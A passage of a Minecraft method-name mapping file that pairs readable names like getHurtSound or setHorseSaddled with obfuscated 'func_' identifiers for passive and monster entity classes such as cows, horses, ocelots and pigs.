net/minecraft/entity/passive/EntityChicken/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityCow/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/passive/EntityCow/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/passive/EntityCow/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/passive/EntityCow/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/passive/EntityCow/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityCow/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityCow/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityCow/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityCow/getEyeHeight ()F net/minecraft/entity/passive/EntityCow/func_70047_e ()F +MD: net/minecraft/entity/passive/EntityCow/applyEntityAttributes ()V net/minecraft/entity/passive/EntityCow/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityCow/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityCow; net/minecraft/entity/passive/EntityCow/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityCow; +MD: net/minecraft/entity/passive/EntityCow/dropFewItems (ZI)V net/minecraft/entity/passive/EntityCow/func_70628_a (ZI)V +MD: net/minecraft/entity/passive/EntityCow/getSoundVolume ()F net/minecraft/entity/passive/EntityCow/func_70599_aP ()F +MD: net/minecraft/entity/passive/EntityCow/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityCow/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityCow/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityCow/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityCow/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityCow/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityHorse$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/passive/EntityHorse$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/passive/EntityHorse$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/passive/EntityHorse$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/passive/EntityHorse/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/passive/EntityHorse/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/passive/EntityHorse/handleStatusUpdate (B)V net/minecraft/entity/passive/EntityHorse/func_70103_a (B)V +MD: net/minecraft/entity/passive/EntityHorse/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/passive/EntityHorse/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/passive/EntityHorse/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityHorse/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityHorse/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/passive/EntityHorse/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/passive/EntityHorse/onInventoryChanged (Lnet/minecraft/inventory/InventoryBasic;)V net/minecraft/entity/passive/EntityHorse/func_76316_a (Lnet/minecraft/inventory/InventoryBasic;)V +MD: net/minecraft/entity/passive/EntityHorse/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/passive/EntityHorse/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/passive/EntityHorse/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/passive/EntityHorse/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/passive/EntityHorse/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityHorse/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityHorse/getClosestHorse (Lnet/minecraft/entity/Entity;D)Lnet/minecraft/entity/passive/EntityHorse; net/minecraft/entity/passive/EntityHorse/func_110250_a (Lnet/minecraft/entity/Entity;D)Lnet/minecraft/entity/passive/EntityHorse; +MD: net/minecraft/entity/passive/EntityHorse/dropItemsInChest (Lnet/minecraft/entity/Entity;Lnet/minecraft/inventory/AnimalChest;)V net/minecraft/entity/passive/EntityHorse/func_110240_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/inventory/AnimalChest;)V +MD: net/minecraft/entity/passive/EntityHorse/canMateWith (Lnet/minecraft/entity/passive/EntityAnimal;)Z net/minecraft/entity/passive/EntityHorse/func_70878_b (Lnet/minecraft/entity/passive/EntityAnimal;)Z +MD: net/minecraft/entity/passive/EntityHorse/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityHorse/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityHorse/isArmorItem (Lnet/minecraft/item/Item;)Z net/minecraft/entity/passive/EntityHorse/func_146085_a (Lnet/minecraft/item/Item;)Z +MD: net/minecraft/entity/passive/EntityHorse/setScaleForAge (Z)V net/minecraft/entity/passive/EntityHorse/func_98054_a (Z)V +MD: net/minecraft/entity/passive/EntityHorse/getEyeHeight ()F net/minecraft/entity/passive/EntityHorse/func_70047_e ()F +MD: net/minecraft/entity/passive/EntityHorse/applyEntityAttributes ()V net/minecraft/entity/passive/EntityHorse/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityHorse/canBePushed ()Z net/minecraft/entity/passive/EntityHorse/func_70104_M ()Z +MD: net/minecraft/entity/passive/EntityHorse/updateRiderPosition ()V net/minecraft/entity/passive/EntityHorse/func_70043_V ()V +MD: net/minecraft/entity/passive/EntityHorse/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityHorse/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityHorse/setOwnerId (Ljava/lang/String;)V net/minecraft/entity/passive/EntityHorse/func_152120_b (Ljava/lang/String;)V +MD: net/minecraft/entity/passive/EntityHorse/getSoundVolume ()F net/minecraft/entity/passive/EntityHorse/func_70599_aP ()F +MD: net/minecraft/entity/passive/EntityHorse/isMovementBlocked ()Z net/minecraft/entity/passive/EntityHorse/func_70610_aX ()Z +MD: net/minecraft/entity/passive/EntityHorse/getCanSpawnHere ()Z net/minecraft/entity/passive/EntityHorse/func_70601_bi ()Z +MD: net/minecraft/entity/passive/EntityHorse/getMaxSpawnedInChunk ()I net/minecraft/entity/passive/EntityHorse/func_70641_bl ()I +MD: net/minecraft/entity/passive/EntityHorse/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityHorse/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityHorse/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityHorse/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityHorse/getTotalArmorValue ()I net/minecraft/entity/passive/EntityHorse/func_70658_aO ()I +MD: net/minecraft/entity/passive/EntityHorse/setHorseWatchableBoolean (IZ)V net/minecraft/entity/passive/EntityHorse/func_110208_b (IZ)V +MD: net/minecraft/entity/passive/EntityHorse/isBreeding ()Z net/minecraft/entity/passive/EntityHorse/func_110205_ce ()Z +MD: net/minecraft/entity/passive/EntityHorse/getHasReproduced ()Z net/minecraft/entity/passive/EntityHorse/func_110243_cf ()Z +MD: net/minecraft/entity/passive/EntityHorse/getTemper ()I net/minecraft/entity/passive/EntityHorse/func_110252_cg ()I +MD: net/minecraft/entity/passive/EntityHorse/prepareChunkForSpawn ()Z net/minecraft/entity/passive/EntityHorse/func_110262_ch ()Z +MD: net/minecraft/entity/passive/EntityHorse/dropChests ()V net/minecraft/entity/passive/EntityHorse/func_110224_ci ()V +MD: net/minecraft/entity/passive/EntityHorse/getHorseJumpStrength ()D net/minecraft/entity/passive/EntityHorse/func_110215_cj ()D +MD: net/minecraft/entity/passive/EntityHorse/isHorseSaddled ()Z net/minecraft/entity/passive/EntityHorse/func_110257_ck ()Z +MD: net/minecraft/entity/passive/EntityHorse/getAngrySoundName ()Ljava/lang/String; net/minecraft/entity/passive/EntityHorse/func_110217_cl ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityHorse/getMaxTemper ()I net/minecraft/entity/passive/EntityHorse/func_110218_cm ()I +MD: net/minecraft/entity/passive/EntityHorse/func_110239_cn ()Z net/minecraft/entity/passive/EntityHorse/func_110239_cn ()Z +MD: net/minecraft/entity/passive/EntityHorse/func_175507_cI ()Z net/minecraft/entity/passive/EntityHorse/func_175507_cI ()Z +MD: net/minecraft/entity/passive/EntityHorse/getHorseTexture ()Ljava/lang/String; net/minecraft/entity/passive/EntityHorse/func_110264_co ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityHorse/getVariantTexturePaths ()[Ljava/lang/String; net/minecraft/entity/passive/EntityHorse/func_110212_cp ()[Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityHorse/canWearArmor ()Z net/minecraft/entity/passive/EntityHorse/func_110259_cr ()Z +MD: net/minecraft/entity/passive/EntityHorse/canCarryChest ()Z net/minecraft/entity/passive/EntityHorse/func_110229_cs ()Z +MD: net/minecraft/entity/passive/EntityHorse/isUndead ()Z net/minecraft/entity/passive/EntityHorse/func_110256_cu ()Z +MD: net/minecraft/entity/passive/EntityHorse/isSterile ()Z net/minecraft/entity/passive/EntityHorse/func_110222_cv ()Z +MD: net/minecraft/entity/passive/EntityHorse/makeHorseRearWithSound ()V net/minecraft/entity/passive/EntityHorse/func_110231_cz ()V +MD: net/minecraft/entity/passive/EntityHorse/dropChestItems ()V net/minecraft/entity/passive/EntityHorse/func_110244_cA ()V +MD: net/minecraft/entity/passive/EntityHorse/func_110266_cB ()V net/minecraft/entity/passive/EntityHorse/func_110266_cB ()V +MD: net/minecraft/entity/passive/EntityHorse/getChestSize ()I net/minecraft/entity/passive/EntityHorse/func_110225_cC ()I +MD: net/minecraft/entity/passive/EntityHorse/allowLeashing ()Z net/minecraft/entity/passive/EntityHorse/func_110164_bC ()Z +MD: net/minecraft/entity/passive/EntityHorse/getHorseType ()I net/minecraft/entity/passive/EntityHorse/func_110265_bP ()I +MD: net/minecraft/entity/passive/EntityHorse/getHorseVariant ()I net/minecraft/entity/passive/EntityHorse/func_110202_bQ ()I +MD: net/minecraft/entity/passive/EntityHorse/isAdultHorse ()Z net/minecraft/entity/passive/EntityHorse/func_110228_bR ()Z +MD: net/minecraft/entity/passive/EntityHorse/isTame ()Z net/minecraft/entity/passive/EntityHorse/func_110248_bS ()Z +MD: net/minecraft/entity/passive/EntityHorse/func_110253_bW ()Z net/minecraft/entity/passive/EntityHorse/func_110253_bW ()Z +MD: net/minecraft/entity/passive/EntityHorse/getOwnerId ()Ljava/lang/String; net/minecraft/entity/passive/EntityHorse/func_152119_ch ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityHorse/getHorseSize ()F net/minecraft/entity/passive/EntityHorse/func_110254_bY ()F +MD: net/minecraft/entity/passive/EntityHorse/isHorseJumping ()Z net/minecraft/entity/passive/EntityHorse/func_110246_bZ ()Z +MD: net/minecraft/entity/passive/EntityHorse/isChested ()Z net/minecraft/entity/passive/EntityHorse/func_110261_ca ()Z +MD: net/minecraft/entity/passive/EntityHorse/getHorseArmorIndexSynced ()I net/minecraft/entity/passive/EntityHorse/func_110241_cb ()I +MD: net/minecraft/entity/passive/EntityHorse/isEatingHaystack ()Z net/minecraft/entity/passive/EntityHorse/func_110204_cc ()Z +MD: net/minecraft/entity/passive/EntityHorse/isRearing ()Z net/minecraft/entity/passive/EntityHorse/func_110209_cd ()Z +MD: net/minecraft/entity/passive/EntityHorse/replaceItemInInventory (ILnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityHorse/func_174820_d (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityHorse/isBreedingItem (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityHorse/func_70877_b (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityHorse/initHorseChest ()V net/minecraft/entity/passive/EntityHorse/func_110226_cD ()V +MD: net/minecraft/entity/passive/EntityHorse/updateHorseSlots ()V net/minecraft/entity/passive/EntityHorse/func_110232_cE ()V +MD: net/minecraft/entity/passive/EntityHorse/resetTexturePrefix ()V net/minecraft/entity/passive/EntityHorse/func_110230_cF ()V +MD: net/minecraft/entity/passive/EntityHorse/setHorseTexturePaths ()V net/minecraft/entity/passive/EntityHorse/func_110247_cG ()V +MD: net/minecraft/entity/passive/EntityHorse/func_110210_cH ()V net/minecraft/entity/passive/EntityHorse/func_110210_cH ()V +MD: net/minecraft/entity/passive/EntityHorse/openHorseMouth ()V net/minecraft/entity/passive/EntityHorse/func_110249_cI ()V +MD: net/minecraft/entity/passive/EntityHorse/canMate ()Z net/minecraft/entity/passive/EntityHorse/func_110200_cJ ()Z +MD: net/minecraft/entity/passive/EntityHorse/makeHorseRear ()V net/minecraft/entity/passive/EntityHorse/func_110220_cK ()V +MD: net/minecraft/entity/passive/EntityHorse/getModifiedMaxHealth ()F net/minecraft/entity/passive/EntityHorse/func_110267_cL ()F +MD: net/minecraft/entity/passive/EntityHorse/getModifiedJumpStrength ()D net/minecraft/entity/passive/EntityHorse/func_110245_cM ()D +MD: net/minecraft/entity/passive/EntityHorse/getModifiedMovementSpeed ()D net/minecraft/entity/passive/EntityHorse/func_110203_cN ()D +MD: net/minecraft/entity/passive/EntityHorse/fall (FF)V net/minecraft/entity/passive/EntityHorse/func_180430_e (FF)V +MD: net/minecraft/entity/passive/EntityHorse/setHorseArmorStack (Lnet/minecraft/item/ItemStack;)V net/minecraft/entity/passive/EntityHorse/func_146086_d (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/passive/EntityHorse/getName ()Ljava/lang/String; net/minecraft/entity/passive/EntityHorse/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityHorse/getHorseArmorIndex (Lnet/minecraft/item/ItemStack;)I net/minecraft/entity/passive/EntityHorse/func_110260_d (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/entity/passive/EntityHorse/setEating (Z)V net/minecraft/entity/passive/EntityHorse/func_70019_c (Z)V +MD: net/minecraft/entity/passive/EntityHorse/moveEntityWithHeading (FF)V net/minecraft/entity/passive/EntityHorse/func_70612_e (FF)V +MD: net/minecraft/entity/passive/EntityHorse/openGUI (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/passive/EntityHorse/func_110199_f (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/passive/EntityHorse/entityInit ()V net/minecraft/entity/passive/EntityHorse/func_70088_a ()V +MD: net/minecraft/entity/passive/EntityHorse/setTamedBy (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityHorse/func_110263_g (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityHorse/mountTo (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/entity/passive/EntityHorse/func_110237_h (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/entity/passive/EntityHorse/isOnLadder ()Z net/minecraft/entity/passive/EntityHorse/func_70617_f_ ()Z +MD: net/minecraft/entity/passive/EntityHorse/setHorseTamed (Z)V net/minecraft/entity/passive/EntityHorse/func_110234_j (Z)V +MD: net/minecraft/entity/passive/EntityHorse/onLivingUpdate ()V net/minecraft/entity/passive/EntityHorse/func_70636_d ()V +MD: net/minecraft/entity/passive/EntityHorse/setHorseJumping (Z)V net/minecraft/entity/passive/EntityHorse/func_110255_k (Z)V +MD: net/minecraft/entity/passive/EntityHorse/setBreeding (Z)V net/minecraft/entity/passive/EntityHorse/func_110242_l (Z)V +MD: net/minecraft/entity/passive/EntityHorse/func_142017_o (F)V net/minecraft/entity/passive/EntityHorse/func_142017_o (F)V +MD: net/minecraft/entity/passive/EntityHorse/setChested (Z)V net/minecraft/entity/passive/EntityHorse/func_110207_m (Z)V +MD: net/minecraft/entity/passive/EntityHorse/getGrassEatingAmount (F)F net/minecraft/entity/passive/EntityHorse/func_110258_o (F)F +MD: net/minecraft/entity/passive/EntityHorse/setHasReproduced (Z)V net/minecraft/entity/passive/EntityHorse/func_110221_n (Z)V +MD: net/minecraft/entity/passive/EntityHorse/getRearingAmount (F)F net/minecraft/entity/passive/EntityHorse/func_110223_p (F)F +MD: net/minecraft/entity/passive/EntityHorse/setHorseSaddled (Z)V net/minecraft/entity/passive/EntityHorse/func_110251_o (Z)V +MD: net/minecraft/entity/passive/EntityHorse/getMouthOpennessAngle (F)F net/minecraft/entity/passive/EntityHorse/func_110201_q (F)F +MD: net/minecraft/entity/passive/EntityHorse/setHorseType (I)V net/minecraft/entity/passive/EntityHorse/func_110214_p (I)V +MD: net/minecraft/entity/passive/EntityHorse/setEatingHaystack (Z)V net/minecraft/entity/passive/EntityHorse/func_110227_p (Z)V +MD: net/minecraft/entity/passive/EntityHorse/setHorseVariant (I)V net/minecraft/entity/passive/EntityHorse/func_110235_q (I)V +MD: net/minecraft/entity/passive/EntityHorse/setRearing (Z)V net/minecraft/entity/passive/EntityHorse/func_110219_q (Z)V +MD: net/minecraft/entity/passive/EntityHorse/setTemper (I)V net/minecraft/entity/passive/EntityHorse/func_110238_s (I)V +MD: net/minecraft/entity/passive/EntityHorse/spawnHorseParticles (Z)V net/minecraft/entity/passive/EntityHorse/func_110216_r (Z)V +MD: net/minecraft/entity/passive/EntityHorse/onUpdate ()V net/minecraft/entity/passive/EntityHorse/func_70071_h_ ()V +MD: net/minecraft/entity/passive/EntityHorse/increaseTemper (I)I net/minecraft/entity/passive/EntityHorse/func_110198_t (I)I +MD: net/minecraft/entity/passive/EntityHorse/setJumpPower (I)V net/minecraft/entity/passive/EntityHorse/func_110206_u (I)V +MD: net/minecraft/entity/passive/EntityHorse/getTalkInterval ()I net/minecraft/entity/passive/EntityHorse/func_70627_aG ()I +MD: net/minecraft/entity/passive/EntityHorse/getHorseWatchableBoolean (I)Z net/minecraft/entity/passive/EntityHorse/func_110233_w (I)Z +MD: net/minecraft/entity/passive/EntityHorse/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityHorse/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityGolem/canDespawn ()Z net/minecraft/entity/monster/EntityGolem/func_70692_ba ()Z +MD: net/minecraft/entity/monster/EntityGolem/getHurtSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGolem/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityGolem/getDeathSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGolem/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/monster/EntityGolem/fall (FF)V net/minecraft/entity/monster/EntityGolem/func_180430_e (FF)V +MD: net/minecraft/entity/monster/EntityGolem/getTalkInterval ()I net/minecraft/entity/monster/EntityGolem/func_70627_aG ()I +MD: net/minecraft/entity/monster/EntityGolem/getLivingSound ()Ljava/lang/String; net/minecraft/entity/monster/EntityGolem/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityMooshroom/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityMooshroom/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityMooshroom/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityMooshroom/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityMooshroom/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityCow; net/minecraft/entity/passive/EntityMooshroom/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityCow; +MD: net/minecraft/entity/passive/EntityMooshroom/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityMooshroom; net/minecraft/entity/passive/EntityMooshroom/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityMooshroom; +MD: net/minecraft/entity/passive/EntityOcelot/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/passive/EntityOcelot/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/passive/EntityOcelot/canDespawn ()Z net/minecraft/entity/passive/EntityOcelot/func_70692_ba ()Z +MD: net/minecraft/entity/passive/EntityOcelot/updateAITasks ()V net/minecraft/entity/passive/EntityOcelot/func_70619_bc ()V +MD: net/minecraft/entity/passive/EntityOcelot/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityOcelot/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityOcelot/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/passive/EntityOcelot/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/passive/EntityOcelot/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/passive/EntityOcelot/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/passive/EntityOcelot/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityOcelot/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityOcelot/canMateWith (Lnet/minecraft/entity/passive/EntityAnimal;)Z net/minecraft/entity/passive/EntityOcelot/func_70878_b (Lnet/minecraft/entity/passive/EntityAnimal;)Z +MD: net/minecraft/entity/passive/EntityOcelot/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityOcelot/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityOcelot/applyEntityAttributes ()V net/minecraft/entity/passive/EntityOcelot/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityOcelot/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityOcelot/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityOcelot/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityOcelot; net/minecraft/entity/passive/EntityOcelot/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityOcelot; +MD: net/minecraft/entity/passive/EntityOcelot/dropFewItems (ZI)V net/minecraft/entity/passive/EntityOcelot/func_70628_a (ZI)V +MD: net/minecraft/entity/passive/EntityOcelot/getSoundVolume ()F net/minecraft/entity/passive/EntityOcelot/func_70599_aP ()F +MD: net/minecraft/entity/passive/EntityOcelot/getCanSpawnHere ()Z net/minecraft/entity/passive/EntityOcelot/func_70601_bi ()Z +MD: net/minecraft/entity/passive/EntityOcelot/isNotColliding ()Z net/minecraft/entity/passive/EntityOcelot/func_70058_J ()Z +MD: net/minecraft/entity/passive/EntityOcelot/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityOcelot/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityOcelot/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityOcelot/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityOcelot/setupTamedAI ()V net/minecraft/entity/passive/EntityOcelot/func_175544_ck ()V +MD: net/minecraft/entity/passive/EntityOcelot/getTameSkin ()I net/minecraft/entity/passive/EntityOcelot/func_70913_u ()I +MD: net/minecraft/entity/passive/EntityOcelot/isBreedingItem (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityOcelot/func_70877_b (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityOcelot/fall (FF)V net/minecraft/entity/passive/EntityOcelot/func_180430_e (FF)V +MD: net/minecraft/entity/passive/EntityOcelot/getName ()Ljava/lang/String; net/minecraft/entity/passive/EntityOcelot/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityOcelot/entityInit ()V net/minecraft/entity/passive/EntityOcelot/func_70088_a ()V +MD: net/minecraft/entity/passive/EntityOcelot/setTamed (Z)V net/minecraft/entity/passive/EntityOcelot/func_70903_f (Z)V +MD: net/minecraft/entity/passive/EntityOcelot/setTameSkin (I)V net/minecraft/entity/passive/EntityOcelot/func_70912_b (I)V +MD: net/minecraft/entity/passive/EntityOcelot/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/passive/EntityOcelot/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/passive/EntityOcelot/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityOcelot/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityPig/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/passive/EntityPig/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/passive/EntityPig/playStepSound (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V net/minecraft/entity/passive/EntityPig/func_180429_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/Block;)V +MD: net/minecraft/entity/passive/EntityPig/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityPig/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityPig/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; net/minecraft/entity/passive/EntityPig/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/EntityAgeable; +MD: net/minecraft/entity/passive/EntityPig/onStruckByLightning (Lnet/minecraft/entity/effect/EntityLightningBolt;)V net/minecraft/entity/passive/EntityPig/func_70077_a (Lnet/minecraft/entity/effect/EntityLightningBolt;)V +MD: net/minecraft/entity/passive/EntityPig/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/passive/EntityPig/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/passive/EntityPig/applyEntityAttributes ()V net/minecraft/entity/passive/EntityPig/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityPig/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityPig/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityPig/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityPig; net/minecraft/entity/passive/EntityPig/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityPig; +MD: net/minecraft/entity/passive/EntityPig/dropFewItems (ZI)V net/minecraft/entity/passive/EntityPig/func_70628_a (ZI)V +MD: net/minecraft/entity/passive/EntityPig/canBeSteered ()Z net/minecraft/entity/passive/EntityPig/func_82171_bF ()Z +MD: net/minecraft/entity/passive/EntityPig/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityPig/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityPig/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityPig/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityPig/getSaddled ()Z net/minecraft/entity/passive/EntityPig/func_70901_n ()Z +MD: net/minecraft/entity/passive/EntityPig/getAIControlledByPlayer ()Lnet/minecraft/entity/ai/EntityAIControlledByPlayer; net/minecraft/entity/passive/EntityPig/func_82183_n ()Lnet/minecraft/entity/ai/EntityAIControlledByPlayer; +MD: net/minecraft/entity/passive/EntityPig/isBreedingItem (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityPig/func_70877_b (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityPig/fall (FF)V net/minecraft/entity/passive/EntityPig/func_180430_e (FF)V +MD: net/minecraft/entity/passive/EntityPig/entityInit ()V net/minecraft/entity/passive/EntityPig/func_70088_a ()V +MD: net/minecraft/entity/passive/EntityPig/setSaddled (Z)V net/minecraft/entity/passive/EntityPig/func_70900_e (Z)V +MD: net/minecraft/entity/passive/EntityPig/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityPig/func_70639_aQ 